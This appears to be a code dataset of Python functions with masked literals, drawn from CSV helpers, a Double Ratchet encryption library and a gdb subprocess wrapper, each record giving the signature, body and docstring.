{"signature": "def write_csv(filename, header, data=None, rows=None, mode=\"<STR_LIT:w>\"):", "body": "if data == rows == None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>elif data != None and rows != None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>data_header = dict((x, x) for x in header)<EOL>with open(filename, mode) as f:<EOL><INDENT>if data:<EOL><INDENT>writer = csv.DictWriter(f, fieldnames=header)<EOL>if mode == \"<STR_LIT:w>\":<EOL><INDENT>writer.writerow(data_header)<EOL><DEDENT>writer.writerows(data)<EOL><DEDENT>elif rows:<EOL><INDENT>writer = csv.writer(f)<EOL>if mode == \"<STR_LIT:w>\":<EOL><INDENT>writer.writerow(header)<EOL><DEDENT>writer.writerows(rows)<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\" % filename)<EOL>", "docstring": "Write the data to the specified filename\n\n    Usage\n    -----\n    >>> write_csv(filename, header, data, mode=mode)\n\n    Parameters\n    ----------\n    filename : str\n        The name of the file\n\n    header : list of strings\n        The names of the columns (or fields):\n        (fieldname1, fieldname2, ...)\n\n    data : list of dictionaries (optional)\n        [\n         {fieldname1: a1, fieldname2: a2},\n         {fieldname1: b1, fieldname2: b2},\n         ...\n        ]\n\n    rows : list of lists (optional)\n        [\n        (a1, a2),\n        (b1, b2),\n        ...\n        ]\n\n    mode : str (optional)\n        \"w\": write the data to the file by overwriting it\n        \"a\": write the data to the file by appending them\n\n    Returns\n    -------\n    None. A CSV file is written.", "id": "f5411:m6"}
{"signature": "def format_to_csv(filename, skiprows=<NUM_LIT:0>, delimiter=\"<STR_LIT>\"):", "body": "if not delimiter:<EOL><INDENT>delimiter = \"<STR_LIT:\\t>\"<EOL><DEDENT>input_file = open(filename, \"<STR_LIT:r>\")<EOL>if skiprows:<EOL><INDENT>[input_file.readline() for _ in range(skiprows)]<EOL><DEDENT>new_filename = os.path.splitext(filename)[<NUM_LIT:0>] + \"<STR_LIT>\"<EOL>output_file = open(new_filename, \"<STR_LIT:w>\")<EOL>header = input_file.readline().split()<EOL>reader = csv.DictReader(input_file, fieldnames=header, delimiter=delimiter)<EOL>writer = csv.DictWriter(output_file, fieldnames=header, delimiter=\"<STR_LIT:U+002C>\")<EOL>writer.writerow(dict((x, x) for x in header))<EOL>for line in reader:<EOL><INDENT>if None in line: del line[None]<EOL>writer.writerow(line)<EOL><DEDENT>input_file.close()<EOL>output_file.close()<EOL>print(\"<STR_LIT>\" % new_filename)<EOL>", "docstring": "Convert a file to a .csv file", "id": "f5411:m7"}
{"signature": "def __init__(self, constant, *args, **kwargs):", "body": "super(ConstKDFChain, self).__init__(*args, **kwargs)<EOL>self.__constant = constant<EOL>", "docstring": "Initialize a ConstKDFChain, which uses constant input data instead of passed data\non chains steps.\n\n:param constant: The constant data to pass to the next method on each step.", "id": "f5415:c0:m0"}
{"signature": "def next(self, data = None):", "body": "return super(ConstKDFChain, self).next(self.__constant)<EOL>", "docstring": "Use the key derivation function to derive new data. The kdf gets supplied with the\ncurrent key and the constant input data set using the constructor.\n\n:returns: A bytes-like object encoding the output material.", "id": "f5415:c0:m1"}
{"signature": "def __init__(self, kdf, key):", "body": "self.__length = <NUM_LIT:0><EOL>self.__kdf = kdf<EOL>self.__key = key<EOL>", "docstring": "Initialize a KDFChain using the provided key derivation function and key.\n\n:param kdf: An instance of the KDF interface.\n:param key: A bytes-like object encoding the key to supply to the key derivation\n    function.", "id": "f5416:c0:m0"}
{"signature": "def next(self, data):", "body": "self.__length += <NUM_LIT:1><EOL>result = self.__kdf.calculate(self.__key, data, <NUM_LIT:64>)<EOL>self.__key = result[:<NUM_LIT:32>]<EOL>return result[<NUM_LIT:32>:]<EOL>", "docstring": "Derive a new set of internal and output data from given input data and the data\nstored internally.\n\nUse the key derivation function to derive new data. The kdf gets supplied with the\ncurrent key and the data passed to this method.\n\n:param data: A bytes-like object encoding the data to pass to the key derivation\n    function.\n:returns: A bytes-like object encoding the output material.", "id": "f5416:c0:m3"}
{"signature": "@property<EOL><INDENT>def length(self):<DEDENT>", "body": "return self.__length<EOL>", "docstring": ":returns: The number of calls to the \"next\" method since initializing the chain.", "id": "f5416:c0:m4"}
{"signature": "def __init__(self, priv = None, pub = None):", "body": "raise NotImplementedError<EOL>", "docstring": "Initiate a KeyPair instance using the key information provided as parameters.\n\n:param priv: The private key as a bytes-like object or None.\n:param pub: The public key as a bytes-like object or None.", "id": "f5418:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def generate(cls):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": ":returns: A new key pair with private and public key set.", "id": "f5418:c0:m1"}
{"signature": "@property<EOL><INDENT>def priv(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": ":returns: A bytes-like object encoding the private key of this key pair instance.", "id": "f5418:c0:m2"}
{"signature": "@property<EOL><INDENT>def pub(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": ":returns: A bytes-like object encoding the public key of this key pair instance.", "id": "f5418:c0:m3"}
{"signature": "def getSharedSecret(self, other):", "body": "raise NotImplementedError<EOL>", "docstring": "Get a shared secret between the keys stored by this instance and the keys stored\nby the other instance.\n\nThe shared secrets are generated, so that following equation is True: ::\n\n    shared_secret(A.priv, B.pub) == shared_secret(B.priv, A.pub)\n\n:param other: An instance of the KeyPair class.\n:returns: The shared secret, as a bytes-like object.\n:raises MissingKeyException: If any key is missing to complete this operation. The\n    exception message will contain (human-readable) details.", "id": "f5418:c0:m4"}
{"signature": "def calculate(self, key, data, length):", "body": "raise NotImplementedError<EOL>", "docstring": "Use the key and the given input data to derive an output key of given length.\n\n:param key: A bytes-like object encoding the key to use for derivation.\n:param data: A bytes-like object encoding the data to use for derivation.\n:param length: The length of the key to derive, as an integer.\n:returns: A bytes-like object with the requested length encoding the derived key.", "id": "f5419:c0:m0"}
{"signature": "def __init__(self, hash_function, ck_constant = b\"<STR_LIT>\", mk_constant = b\"<STR_LIT>\"):", "body": "super(ChainKeyKDF, self).__init__()<EOL>if not hash_function in ChainKeyKDF.HASH_FUNCTIONS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(ck_constant, bytes):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if len(ck_constant) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(mk_constant, bytes):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if len(mk_constant) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.__hash_function = ChainKeyKDF.HASH_FUNCTIONS[hash_function]<EOL>self.__ck_constant = ck_constant<EOL>self.__mk_constant = mk_constant<EOL>", "docstring": "Prepare a ChainKeyKDF, following a recommendation by WhisperSystems.\n\n:param hash_function: One of (the strings) \"SHA-256\" and \"SHA-512\".\n:param ck_constant: A single byte used for derivation of the next chain key.\n:param mk_constant: A single byte used for derivation of the next message key.", "id": "f5420:c0:m0"}
{"signature": "def __init__(self, hash_function, info_string):", "body": "super(RootKeyKDF, self).__init__()<EOL>if not hash_function in RootKeyKDF.HASH_FUNCTIONS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(info_string, bytes):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.__hash_function = RootKeyKDF.HASH_FUNCTIONS[hash_function]<EOL>self.__info_string   = info_string<EOL>", "docstring": "Prepare a RootKeyKDF, following a recommendation by WhisperSystems.\n\n:param hash_function: One of (the strings) \"SHA-256\" and \"SHA-512\".\n:param info_string: A bytes-like object encoding a string unique to this usage\n    within the application.", "id": "f5421:c0:m0"}
{"signature": "def __init__(self, hash_function, info_string):", "body": "super(CBCHMACAEAD, self).__init__()<EOL>if not hash_function in CBCHMACAEAD.HASH_FUNCTIONS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(info_string, bytes):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.__hash_function = CBCHMACAEAD.HASH_FUNCTIONS[hash_function]<EOL>self.__digest_size = self.__hash_function().digest_size<EOL>self.__info_string = info_string<EOL>", "docstring": "Prepare a CBCHMACAEAD, following a recommendation by WhisperSystems.\n\n:param hash_function: One of (the strings) \"SHA-256\" and \"SHA-512\".\n:param info_string: A bytes-like object encoding a string unique to this usage\n    within the application.", "id": "f5422:c0:m0"}
{"signature": "def __init__(self, dh_pub, n, pn):", "body": "self.__dh_pub = dh_pub<EOL>self.__n  = n<EOL>self.__pn = pn<EOL>", "docstring": "Initiate a message header.\n\n:param dh_pub: A bytes-like object encoding the new public key of the senders\n    diffie-hellman ratchet.\n:param n: The current length of the senders sending chain, as an integer.\n:param pn: The length of the senders previous sending chain, as an integer. This\n    enables the receiver to store keys for skipped messages of the previous chain.", "id": "f5424:c0:m0"}
{"signature": "@property<EOL><INDENT>def dh_pub(self):<DEDENT>", "body": "return self.__dh_pub<EOL>", "docstring": ":returns: A bytes-like object encoding the new public key of the senders\n    diffie-hellman ratchet.", "id": "f5424:c0:m1"}
{"signature": "@property<EOL><INDENT>def n(self):<DEDENT>", "body": "return self.__n<EOL>", "docstring": ":returns: The current length of the senders sending chain, as an integer.", "id": "f5424:c0:m2"}
{"signature": "@property<EOL><INDENT>def pn(self):<DEDENT>", "body": "return self.__pn<EOL>", "docstring": ":returns: The length of the senders previous sending chain, as an integer. This\n    enables the receiver to store keys for skipped messages of the previous chain.", "id": "f5424:c0:m3"}
{"signature": "def encrypt(self, plaintext, key, ad):", "body": "raise NotImplementedError<EOL>", "docstring": "Encrypt given plaintext using given key and authenticating using given associated\ndata.\n\n:param plaintext: A bytes-like object encoding the data to encrypt.\n:param key: A bytes-like object encoding the key to encrypt with.\n:param ad: A bytes-like object encoding the associated data to authenticate with.\n:returns: A bytes-like object encoding the encrypted data (the ciphertext).", "id": "f5426:c0:m0"}
{"signature": "def decrypt(self, ciphertext, key, ad):", "body": "raise NotImplementedError<EOL>", "docstring": "Decrypt given ciphertext using given key and check validity of the authentication\nusing given associated data.\n\n:param ciphertext: A bytes-like object encoding the data to decrypt.\n:param key: A bytes-like object encoding the key to decrypt with.\n:param ad: A bytes-like object encoding the associated data to authenticate with.\n:returns: A bytes-like object encoding the decrypted data (the plaintext).\n:raises AuthenticationFailedException: If the message could not be authenticated\n    using the associated data.", "id": "f5426:c0:m1"}
{"signature": "def __init__(self, sending_chain_class, receiving_chain_class):", "body": "super(SymmetricKeyRatchet, self).__init__()<EOL>self.__SendingChain   = sending_chain_class<EOL>self.__ReceivingChain = receiving_chain_class<EOL>self.__sending_chain   = None<EOL>self.__receiving_chain = None<EOL>self.__previous_sending_chain_length = None<EOL>", "docstring": "Initialize a new SymmetricKeyRatchet.\n\n:param sending_chain_class: An implementation of the Chain interface to be used\n    for the sending chains.\n:param receiving_chain_class: An implementations of the Chain interface to be used\n    for the receiving chains.", "id": "f5432:c0:m0"}
{"signature": "def step(self, key, chain):", "body": "if chain == \"<STR_LIT>\":<EOL><INDENT>self.__previous_sending_chain_length = self.sending_chain_length<EOL>self.__sending_chain = self.__SendingChain(key)<EOL><DEDENT>if chain == \"<STR_LIT>\":<EOL><INDENT>self.__receiving_chain = self.__ReceivingChain(key)<EOL><DEDENT>", "docstring": "Perform a rachted step, replacing one of the internally managed chains with a new\none.\n\n:param key: A bytes-like object encoding the key to initialize the replacement\n    chain with.\n:param chain: The chain to replace. This parameter must be one of the two strings\n    \"sending\" and \"receiving\".", "id": "f5432:c0:m3"}
{"signature": "@property<EOL><INDENT>def previous_sending_chain_length(self):<DEDENT>", "body": "return self.__previous_sending_chain_length<EOL>", "docstring": "Get the length of the previous sending chain.\n\n:returns: Either an integer representing the length of the previous sending chain\n    or None, if the current one is the first sending chain.", "id": "f5432:c0:m4"}
{"signature": "@property<EOL><INDENT>def sending_chain_length(self):<DEDENT>", "body": "return None if self.__sending_chain == None else self.__sending_chain.length<EOL>", "docstring": "Get the length of the current sending chain.\n\n:returns: Either an integer representing the length of the current sending chain\n    or None, if there is no sending chain.", "id": "f5432:c0:m5"}
{"signature": "@property<EOL><INDENT>def receiving_chain_length(self):<DEDENT>", "body": "return None if self.__receiving_chain == None else self.__receiving_chain.length<EOL>", "docstring": "Get the length of the receiving chain.\n\n:returns: Either an integer representing the length of the receiving chain or\n    None, if there is no receiving chain.", "id": "f5432:c0:m6"}
{"signature": "def nextEncryptionKey(self):", "body": "if self.__sending_chain == None:<EOL><INDENT>raise NotInitializedException(<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>return self.__sending_chain.next()<EOL>", "docstring": "Use the sending chain to derive the next encryption key.\n\n:returns: A bytes-like object encoding the next encryption key.\n:raises NotInitializedException: If there is no sending chain yet.", "id": "f5432:c0:m7"}
{"signature": "def nextDecryptionKey(self):", "body": "if self.__receiving_chain == None:<EOL><INDENT>raise NotInitializedException(<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>return self.__receiving_chain.next()<EOL>", "docstring": "Use the receiving chain to derive the next decryption key.\n\n:returns: A bytes-like object encoding the next decryption key.\n:raises NotInitializedException: If there is no receiving chain yet.", "id": "f5432:c0:m8"}
{"signature": "def __init__(<EOL>self,<EOL>aead,<EOL>message_key_store_max,<EOL>symmetric_key_ratchet,<EOL>ad,<EOL>*args,<EOL>**kwargs<EOL>):", "body": "self.__aead    = aead<EOL>self.__mks_max = message_key_store_max<EOL>self.__skr     = symmetric_key_ratchet<EOL>self.__ad      = ad<EOL>self.__saved_message_keys = {}<EOL>super(DoubleRatchet, self).__init__(*args, **kwargs)<EOL>", "docstring": "Initialize a new DoubleRatchet.\n\n:param aead: An instance of an implementation of the AEAD interface, which is used\n    to provice authenticated message encryption and is fed with the message keys\n    derived using the symmetric key ratchet.\n:param message_key_store_max: An integer defining the maximum amount of message\n    keys to store before raising an exception. This mechanism allows out-of-order\n    messages, by storing message keys of out-of-order messages instead of\n    discarding them.\n:param symmetric_key_ratchet: An instance of the SymmetricKeyRatchet class, which\n    is used to derive en- and decryption keys for message exchange.\n:param ad: Some associated data to use for message authentication, encoded as a\n    bytes-like object.", "id": "f5433:c0:m0"}
{"signature": "def _onNewChainKey(self, key, chain):", "body": "self.__skr.step(key, chain)<EOL>", "docstring": "Update the symmetric key ratchet with the new key.", "id": "f5433:c0:m3"}
{"signature": "def decryptMessage(self, ciphertext, header, ad = None):", "body": "if ad == None:<EOL><INDENT>ad = self.__ad<EOL><DEDENT>plaintext = self.__decryptSavedMessage(ciphertext, header, ad)<EOL>if plaintext:<EOL><INDENT>return plaintext<EOL><DEDENT>if self.triggersStep(header.dh_pub):<EOL><INDENT>self.__saveMessageKeys(header.pn)<EOL>self.step(header.dh_pub)<EOL><DEDENT>self.__saveMessageKeys(header.n)<EOL>return self.__decrypt(<EOL>ciphertext,<EOL>self.__skr.nextDecryptionKey(),<EOL>header,<EOL>ad<EOL>)<EOL>", "docstring": "Decrypt a message using this double ratchet session.\n\n:param ciphertext: A bytes-like object encoding the message to decrypt.\n:param header: An instance of the Header class. This should have been sent\n    together with the ciphertext.\n:param ad: A bytes-like object encoding the associated data to use for message\n    authentication. Pass None to use the associated data set during construction.\n:returns: The plaintext.\n\n:raises AuthenticationFailedException: If checking the authentication for this\n    message failed.\n:raises NotInitializedException: If this double ratchet session is not yet\n    initialized with a key pair, thus not prepared to decrypt an incoming message.\n:raises TooManySavedMessageKeysException: If more than message_key_store_max have\n    to be stored to decrypt this message.", "id": "f5433:c0:m4"}
{"signature": "def encryptMessage(self, message, ad = None):", "body": "if ad == None:<EOL><INDENT>ad = self.__ad<EOL><DEDENT>header = Header(<EOL>self.pub,<EOL>self.__skr.sending_chain_length,<EOL>self.__skr.previous_sending_chain_length<EOL>)<EOL>ciphertext = self.__aead.encrypt(<EOL>message,<EOL>self.__skr.nextEncryptionKey(),<EOL>self._makeAD(header, ad)<EOL>)<EOL>return {<EOL>\"<STR_LIT>\"     : header,<EOL>\"<STR_LIT>\" : ciphertext<EOL>}<EOL>", "docstring": "Encrypt a message using this double ratchet session.\n\n:param message: A bytes-like object encoding the message to encrypt.\n:param ad: A bytes-like object encoding the associated data to use for message\n    authentication. Pass None to use the associated data set during construction.\n:returns: A dictionary containing the message header and ciphertext. The header is\n    required to synchronize the double ratchet of the receiving party. Send it\n    along with the ciphertext.\n\nThe returned dictionary consists of two keys: \"header\", which includes an instance\nof the Header class and \"ciphertext\", which includes the encrypted message encoded\nas a bytes-like object.\n\n:raises NotInitializedException: If this double ratchet session is not yet\n    initialized with the other parties public key, thus not ready to encrypt a\n    message to that party.", "id": "f5433:c0:m8"}
{"signature": "def _makeAD(self, header, ad):", "body": "raise NotImplementedError<EOL>", "docstring": "Construct specific associated data for this message from the message header and\nthe general associated data.\n\n:param header: An instance of the Header class.\n:param ad: A bytes-like object encoding the general associated data.\n:returns: A bytes-like object encoding the message-specific associated data.", "id": "f5433:c0:m9"}
{"signature": "def __init__(<EOL>self,<EOL>key_pair_class,<EOL>root_chain,<EOL>own_key   = None,<EOL>other_pub = None<EOL>):", "body": "super(DHRatchet, self).__init__()<EOL>self._KeyPair = key_pair_class<EOL>self.__root_chain = root_chain<EOL>if own_key:<EOL><INDENT>self.__key = own_key<EOL><DEDENT>else:<EOL><INDENT>self.__newRatchetKey()<EOL><DEDENT>self.__wrapOtherPub(other_pub)<EOL>if self.__other.pub != None:<EOL><INDENT>self.__newRootKey(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize a new Diffie-Hellman ratchet.\n\n:param key_pair_class: An implementations of the KeyPair interface which is used\n    for the Diffie-Hellman key management and shared secret calculations.\n:param root_chain: A KDFChain, which receives the Diffie-Hellman key exchange\n    output to derive a new chain key.\n:param own_key: An instance of key_pair_class holding the first key pair to\n    initialize this ratchet with or None.\n:param other_pub: A bytes-like object encoding the public key of the other\n    Diffie-Hellman ratchet to synchronize with or None.", "id": "f5435:c0:m0"}
{"signature": "def step(self, other_pub):", "body": "if self.triggersStep(other_pub):<EOL><INDENT>self.__wrapOtherPub(other_pub)<EOL>self.__newRootKey(\"<STR_LIT>\")<EOL>self.__newRatchetKey()<EOL>self.__newRootKey(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Perform a rachted step, calculating a new shared secret from the public key and\nderiving new chain keys from this secret.\n\nNew Diffie-Hellman calculations are only performed if the public key is different\nfrom the previous one.\n\n:param other_pub: A bytes-like object encoding the public key of the other\n    Diffie-Hellman ratchet to synchronize with.", "id": "f5435:c0:m3"}
{"signature": "def triggersStep(self, other_pub):", "body": "return other_pub != self.__other.pub<EOL>", "docstring": ":returns: A boolean indicating whether calling next with this public key would\n    trigger a ratchet step.", "id": "f5435:c0:m6"}
{"signature": "@property<EOL><INDENT>def pub(self):<DEDENT>", "body": "return self.__key.pub<EOL>", "docstring": ":returns: A bytes-like object encoding the public key of the current internally\n    managed key pair.", "id": "f5435:c0:m9"}
{"signature": "@property<EOL><INDENT>def other_pub(self):<DEDENT>", "body": "return self.__other.pub<EOL>", "docstring": ":returns: A bytes-like object encoding the public key of the other Diffie-Hellman\n    ratchet to synchronize with.", "id": "f5435:c0:m10"}
{"signature": "def step(self, *args, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Perform a ratchet step using provided arguments.", "id": "f5436:c0:m0"}
{"signature": "def serialize(self):", "body": "return None<EOL>", "docstring": ":returns: A serializable Python structure, which contains all the state\n    information of this object.\n\nUse together with the fromSerialized method.\nHere, \"serializable\" means, that the structure consists of any combination of the\nfollowing types:\n\n* dictionaries\n* lists\n* strings\n* integers\n* floats\n* booleans\n* None", "id": "f5437:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def fromSerialized(cls, serialized, *args, **kwargs):<DEDENT>", "body": "return cls(*args, **kwargs)<EOL>", "docstring": ":param serialized: A serializable Python object.\n:returns: Return a new instance that was set to the state that was saved into the\n    serialized object.\n\nUse together with the serialize method.\nNotice: You have to pass all positional parameters required by the constructor of\nthe class you call fromSerialized on.", "id": "f5437:c0:m1"}
{"signature": "def _get_c_program(self, makefile_target_name, binary_name):", "body": "find_executable(MAKE_CMD)<EOL>if not find_executable(MAKE_CMD):<EOL><INDENT>print(<EOL>'<STR_LIT>'<EOL>% MAKE_CMD<EOL>)<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>SAMPLE_C_CODE_DIR = os.path.join(<EOL>os.path.dirname(os.path.realpath(__file__)), \"<STR_LIT>\"<EOL>)<EOL>binary_path = os.path.join(SAMPLE_C_CODE_DIR, binary_name)<EOL>subprocess.call([\"<STR_LIT>\", \"<STR_LIT>\"], cwd=SAMPLE_C_CODE_DIR)<EOL>subprocess.check_output(<EOL>[MAKE_CMD, makefile_target_name, \"<STR_LIT>\", SAMPLE_C_CODE_DIR, \"<STR_LIT>\"]<EOL>)<EOL>return binary_path<EOL>", "docstring": "build c program and return path to binary", "id": "f5442:c0:m1"}
{"signature": "def read(self, count):", "body": "new_index = self.index + count<EOL>if new_index > self.len:<EOL><INDENT>buf = self.raw_text[self.index :]  <EOL><DEDENT>else:<EOL><INDENT>buf = self.raw_text[self.index : new_index]<EOL><DEDENT>self.index = new_index<EOL>return buf<EOL>", "docstring": "Read count characters starting at self.index,\n        and return those characters as a string", "id": "f5444:c0:m1"}
{"signature": "def seek(self, offset):", "body": "self.index = self.index + offset<EOL>", "docstring": "Advance the index of this StringStream by offset characters", "id": "f5444:c0:m2"}
{"signature": "def advance_past_chars(self, chars):", "body": "start_index = self.index<EOL>while True:<EOL><INDENT>current_char = self.raw_text[self.index]<EOL>self.index += <NUM_LIT:1><EOL>if current_char in chars:<EOL><INDENT>break<EOL><DEDENT>elif self.index == self.len:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return self.raw_text[start_index : self.index - <NUM_LIT:1>]<EOL>", "docstring": "Advance the index past specific chars\n        Args chars (list): list of characters to advance past\n\n        Return substring that was advanced past", "id": "f5444:c0:m3"}
{"signature": "def advance_past_string_with_gdb_escapes(self, chars_to_remove_gdb_escape=None):", "body": "if chars_to_remove_gdb_escape is None:<EOL><INDENT>chars_to_remove_gdb_escape = ['<STR_LIT:\">']<EOL><DEDENT>buf = \"<STR_LIT>\"<EOL>while True:<EOL><INDENT>c = self.raw_text[self.index]<EOL>self.index += <NUM_LIT:1><EOL>logging.debug(\"<STR_LIT:%s>\", fmt_cyan(c))<EOL>if c == \"<STR_LIT:\\\\>\":<EOL><INDENT>c2 = self.raw_text[self.index]<EOL>self.index += <NUM_LIT:1><EOL>buf += c2<EOL><DEDENT>elif c == '<STR_LIT:\">':<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>buf += c<EOL><DEDENT><DEDENT>return buf<EOL>", "docstring": "characters that gdb escapes that should not be\n        escaped by this parser", "id": "f5444:c0:m4"}
{"signature": "def _buffer_incomplete_responses(raw_output, buf):", "body": "if raw_output:<EOL><INDENT>if buf:<EOL><INDENT>raw_output = b\"<STR_LIT>\".join([buf, raw_output])<EOL>buf = None<EOL><DEDENT>if b\"<STR_LIT:\\n>\" not in raw_output:<EOL><INDENT>buf = raw_output<EOL>raw_output = None<EOL><DEDENT>elif not raw_output.endswith(b\"<STR_LIT:\\n>\"):<EOL><INDENT>remainder_offset = raw_output.rindex(b\"<STR_LIT:\\n>\") + <NUM_LIT:1><EOL>buf = raw_output[remainder_offset:]<EOL>raw_output = raw_output[:remainder_offset]<EOL><DEDENT><DEDENT>return (raw_output, buf)<EOL>", "docstring": "It is possible for some of gdb's output to be read before it completely finished its response.\n    In that case, a partial mi response was read, which cannot be parsed into structured data.\n    We want to ALWAYS parse complete mi records. To do this, we store a buffer of gdb's\n    output if the output did not end in a newline.\n\n    Args:\n        raw_output: Contents of the gdb mi output\n        buf (str): Buffered gdb response from the past. This is incomplete and needs to be prepended to\n        gdb's next output.\n\n    Returns:\n        (raw_output, buf)", "id": "f5445:m0"}
{"signature": "def _make_non_blocking(file_obj):", "body": "if USING_WINDOWS:<EOL><INDENT>LPDWORD = POINTER(DWORD)<EOL>PIPE_NOWAIT = wintypes.DWORD(<NUM_LIT>)<EOL>SetNamedPipeHandleState = windll.kernel32.SetNamedPipeHandleState<EOL>SetNamedPipeHandleState.argtypes = [HANDLE, LPDWORD, LPDWORD, LPDWORD]<EOL>SetNamedPipeHandleState.restype = BOOL<EOL>h = msvcrt.get_osfhandle(file_obj.fileno())<EOL>res = windll.kernel32.SetNamedPipeHandleState(h, byref(PIPE_NOWAIT), None, None)<EOL>if res == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(WinError())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fcntl.fcntl(file_obj, fcntl.F_SETFL, os.O_NONBLOCK)<EOL><DEDENT>", "docstring": "make file object non-blocking\n    Windows doesn't have the fcntl module, but someone on\n    stack overflow supplied this code as an answer, and it works\n    http://stackoverflow.com/a/34504971/2893090", "id": "f5445:m1"}
{"signature": "def get_subprocess_cmd(self):", "body": "return \"<STR_LIT:U+0020>\".join(quote(c) for c in self.cmd)<EOL>", "docstring": "Returns the shell-escaped string used to invoke the gdb subprocess.\n        This is a string that can be executed directly in a shell.", "id": "f5445:c2:m2"}
{"signature": "def spawn_new_gdb_subprocess(self):", "body": "if self.gdb_process:<EOL><INDENT>self.logger.debug(<EOL>\"<STR_LIT>\" % self.gdb_process.pid<EOL>)<EOL>self.exit()<EOL><DEDENT>self.logger.debug('<STR_LIT>' % \"<STR_LIT:U+0020>\".join(self.cmd))<EOL>self.gdb_process = subprocess.Popen(<EOL>self.cmd,<EOL>shell=False,<EOL>stdout=subprocess.PIPE,<EOL>stdin=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>bufsize=<NUM_LIT:0>,<EOL>)<EOL>_make_non_blocking(self.gdb_process.stdout)<EOL>_make_non_blocking(self.gdb_process.stderr)<EOL>self.stdout_fileno = self.gdb_process.stdout.fileno()<EOL>self.stderr_fileno = self.gdb_process.stderr.fileno()<EOL>self.stdin_fileno = self.gdb_process.stdin.fileno()<EOL>self.read_list = [self.stdout_fileno, self.stderr_fileno]<EOL>self.write_list = [self.stdin_fileno]<EOL>self._incomplete_output = {\"<STR_LIT>\": None, \"<STR_LIT>\": None}<EOL>return self.gdb_process.pid<EOL>", "docstring": "Spawn a new gdb subprocess with the arguments supplied to the object\n        during initialization. If gdb subprocess already exists, terminate it before\n        spanwing a new one.\n        Return int: gdb process id", "id": "f5445:c2:m3"}
{"signature": "def verify_valid_gdb_subprocess(self):", "body": "if not self.gdb_process:<EOL><INDENT>raise NoGdbProcessError(\"<STR_LIT>\")<EOL><DEDENT>elif self.gdb_process.poll() is not None:<EOL><INDENT>raise NoGdbProcessError(<EOL>\"<STR_LIT>\"<EOL>% str(self.gdb_process.poll())<EOL>)<EOL><DEDENT>", "docstring": "Verify there is a process object, and that it is still running.\n        Raise NoGdbProcessError if either of the above are not true.", "id": "f5445:c2:m4"}
{"signature": "def write(<EOL>self,<EOL>mi_cmd_to_write,<EOL>timeout_sec=DEFAULT_GDB_TIMEOUT_SEC,<EOL>raise_error_on_timeout=True,<EOL>read_response=True,<EOL>):", "body": "self.verify_valid_gdb_subprocess()<EOL>if timeout_sec < <NUM_LIT:0>:<EOL><INDENT>self.logger.warning(\"<STR_LIT>\")<EOL>timeout_sec = <NUM_LIT:0><EOL><DEDENT>if type(mi_cmd_to_write) in [str, unicode]:<EOL><INDENT>pass<EOL><DEDENT>elif type(mi_cmd_to_write) == list:<EOL><INDENT>mi_cmd_to_write = \"<STR_LIT:\\n>\".join(mi_cmd_to_write)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>+ str(type(mi_cmd_to_write))<EOL>)<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\", mi_cmd_to_write)<EOL>if not mi_cmd_to_write.endswith(\"<STR_LIT:\\n>\"):<EOL><INDENT>mi_cmd_to_write_nl = mi_cmd_to_write + \"<STR_LIT:\\n>\"<EOL><DEDENT>else:<EOL><INDENT>mi_cmd_to_write_nl = mi_cmd_to_write<EOL><DEDENT>if USING_WINDOWS:<EOL><INDENT>outputready = [self.stdin_fileno]<EOL><DEDENT>else:<EOL><INDENT>_, outputready, _ = select.select([], self.write_list, [], timeout_sec)<EOL><DEDENT>for fileno in outputready:<EOL><INDENT>if fileno == self.stdin_fileno:<EOL><INDENT>self.gdb_process.stdin.write(mi_cmd_to_write_nl.encode())<EOL>self.gdb_process.stdin.flush()<EOL><DEDENT>else:<EOL><INDENT>self.logger.error(\"<STR_LIT>\" % fileno)<EOL><DEDENT><DEDENT>if read_response is True:<EOL><INDENT>return self.get_gdb_response(<EOL>timeout_sec=timeout_sec, raise_error_on_timeout=raise_error_on_timeout<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Write to gdb process. Block while parsing responses from gdb for a maximum of timeout_sec.\n\n        Args:\n            mi_cmd_to_write (str or list): String to write to gdb. If list, it is joined by newlines.\n            timeout_sec (float): Maximum number of seconds to wait for response before exiting. Must be >= 0.\n            raise_error_on_timeout (bool): If read_response is True, raise error if no response is received\n            read_response (bool): Block and read response. If there is a separate thread running,\n            this can be false, and the reading thread read the output.\n        Returns:\n            List of parsed gdb responses if read_response is True, otherwise []\n        Raises:\n            NoGdbProcessError if there is no gdb subprocess running\n            TypeError if mi_cmd_to_write is not valid", "id": "f5445:c2:m5"}
